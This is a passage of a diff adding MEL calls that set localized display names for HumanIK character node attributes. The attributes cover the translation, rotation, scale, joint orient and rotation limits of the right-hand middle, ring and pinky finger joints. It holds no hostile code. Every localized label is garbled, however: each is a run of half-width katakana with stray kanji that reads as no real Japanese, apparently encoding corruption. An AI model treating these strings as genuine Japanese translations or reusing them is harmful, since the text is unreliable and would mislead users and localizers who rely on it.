"RightHandMiddle4RotateAxisx", "モメハヨヨミヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxisy", "モメハヨヨミヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4RotateAxisz", "モメハヨヨミヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrient", "モメハヨヨミヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrientx", "モメハヨヨミヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrienty", "モメハヨヨミヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4JointOrientz", "モメハヨヨミヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimit", "モメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitx", "モメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimity", "モメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitz", "モメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimit", "モメハヨヨミヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitx", "モメハヨヨミヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimity", "モメハヨヨミヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitz", "モメハヨヨミヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnablex", "ニモテモメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnabley", "ニモテモメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MinRLimitEnablez", "ニモテモメハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnablex", "ニモテモメハヨヨミヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnabley", "ニモテモメハヨヨミヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMiddle4MaxRLimitEnablez", "ニモテモメハヨヨミヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1", "モメハヨボテヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1T", "モメハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Tx", "モメハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Ty", "モメハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Tz", "モメハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1R", "モメハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Rx", "モメハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Ry", "モメハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Rz", "モメハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1S", "モメハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sx", "モメハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sy", "モメハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1Sz", "モメハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateOrder", "モメハヨボテヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxis", "モメハヨボテヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisx", "モメハヨボテヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisy", "モメハヨボテヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1RotateAxisz", "モメハヨボテヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrient", "モメハヨボテヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrientx", "モメハヨボテヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrienty", "モメハヨボテヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1JointOrientz", "モメハヨボテヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimit", "モメハヨボテヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitx", "モメハヨボテヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimity", "モメハヨボテヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitz", "モメハヨボテヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimit", "モメハヨボテヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitx", "モメハヨボテヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimity", "モメハヨボテヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitz", "モメハヨボテヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnablex", "ニモテモメハヨボテヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnabley", "ニモテモメハヨボテヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MinRLimitEnablez", "ニモテモメハヨボテヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnablex", "ニモテモメハヨボテヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnabley", "ニモテモメハヨボテヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing1MaxRLimitEnablez", "ニモテモメハヨボテヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2", "モメハヨボテヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2T", "モメハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Tx", "モメハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Ty", "モメハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Tz", "モメハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2R", "モメハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Rx", "モメハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Ry", "モメハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Rz", "モメハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2S", "モメハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sx", "モメハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sy", "モメハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2Sz", "モメハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateOrder", "モメハヨボテヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxis", "モメハヨボテヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisx", "モメハヨボテヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisy", "モメハヨボテヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2RotateAxisz", "モメハヨボテヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrient", "モメハヨボテヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrientx", "モメハヨボテヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrienty", "モメハヨボテヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2JointOrientz", "モメハヨボテヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimit", "モメハヨボテヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitx", "モメハヨボテヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimity", "モメハヨボテヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitz", "モメハヨボテヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimit", "モメハヨボテヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitx", "モメハヨボテヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimity", "モメハヨボテヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitz", "モメハヨボテヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnablex", "ニモテモメハヨボテヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnabley", "ニモテモメハヨボテヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MinRLimitEnablez", "ニモテモメハヨボテヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnablex", "ニモテモメハヨボテヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnabley", "ニモテモメハヨボテヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing2MaxRLimitEnablez", "ニモテモメハヨボテヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3", "モメハヨボテヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3T", "モメハヨボテヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Tx", "モメハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Ty", "モメハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Tz", "モメハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3R", "モメハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Rx", "モメハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Ry", "モメハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Rz", "モメハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3S", "モメハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sx", "モメハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sy", "モメハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3Sz", "モメハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateOrder", "モメハヨボテヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxis", "モメハヨボテヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisx", "モメハヨボテヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisy", "モメハヨボテヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3RotateAxisz", "モメハヨボテヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrient", "モメハヨボテヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrientx", "モメハヨボテヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrienty", "モメハヨボテヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3JointOrientz", "モメハヨボテヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimit", "モメハヨボテヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitx", "モメハヨボテヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimity", "モメハヨボテヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitz", "モメハヨボテヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimit", "モメハヨボテヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitx", "モメハヨボテヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimity", "モメハヨボテヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitz", "モメハヨボテヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnablex", "ニモテモメハヨボテヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnabley", "ニモテモメハヨボテヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MinRLimitEnablez", "ニモテモメハヨボテヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnablex", "ニモテモメハヨボテヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnabley", "ニモテモメハヨボテヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing3MaxRLimitEnablez", "ニモテモメハヨボテヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4", "モメハヨボテヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4T", "モメハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Tx", "モメハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Ty", "モメハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Tz", "モメハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4R", "モメハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Rx", "モメハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Ry", "モメハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Rz", "モメハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4S", "モメハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sx", "モメハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sy", "モメハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4Sz", "モメハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateOrder", "モメハヨボテヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxis", "モメハヨボテヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisx", "モメハヨボテヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisy", "モメハヨボテヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4RotateAxisz", "モメハヨボテヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrient", "モメハヨボテヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrientx", "モメハヨボテヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrienty", "モメハヨボテヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4JointOrientz", "モメハヨボテヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimit", "モメハヨボテヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitx", "モメハヨボテヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimity", "モメハヨボテヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitz", "モメハヨボテヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimit", "モメハヨボテヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitx", "モメハヨボテヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimity", "モメハヨボテヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitz", "モメハヨボテヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnablex", "ニモテモメハヨボテヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnabley", "ニモテモメハヨボテヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MinRLimitEnablez", "ニモテモメハヨボテヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnablex", "ニモテモメハヨボテヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnabley", "ニモテモメハヨボテヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRing4MaxRLimitEnablez", "ニモテモメハヨボテヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1", "モメハヨミ。ヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1T", "モメハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Tx", "モメハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Ty", "モメハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Tz", "モメハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1R", "モメハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Rx", "モメハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Ry", "モメハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Rz", "モメハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1S", "モメハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sx", "モメハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sy", "モメハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1Sz", "モメハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", "モメハヨミ。ヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxis", "モメハヨミ。ヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisx", "モメハヨミ。ヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisy", "モメハヨミ。ヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1RotateAxisz", "モメハヨミ。ヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrient", "モメハヨミ。ヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrientx", "モメハヨミ。ヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrienty", "モメハヨミ。ヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1JointOrientz", "モメハヨミ。ヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimit", "モメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitx", "モメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimity", "モメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitz", "モメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimit", "モメハヨミ。ヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitx", "モメハヨミ。ヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimity", "モメハヨミ。ヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitz", "モメハヨミ。ヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnablex", "ニモテモメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnabley", "ニモテモメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MinRLimitEnablez", "ニモテモメハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnablex", "ニモテモメハヨミ。ヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnabley", "ニモテモメハヨミ。ヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky1MaxRLimitEnablez", "ニモテモメハヨミ。ヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2", "モメハヨミ。ヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2T", "モメハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Tx", "モメハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Ty", "モメハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Tz", "モメハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2R", "モメハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Rx", "モメハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Ry", "モメハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Rz", "モメハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2S", "モメハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sx", "モメハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sy", "モメハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2Sz", "モメハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", "モメハヨミ。ヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxis", "モメハヨミ。ヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisx", "モメハヨミ。ヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisy", "モメハヨミ。ヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2RotateAxisz", "モメハヨミ。ヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandPinky2JointOrient", "モメハヨミ。ヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", 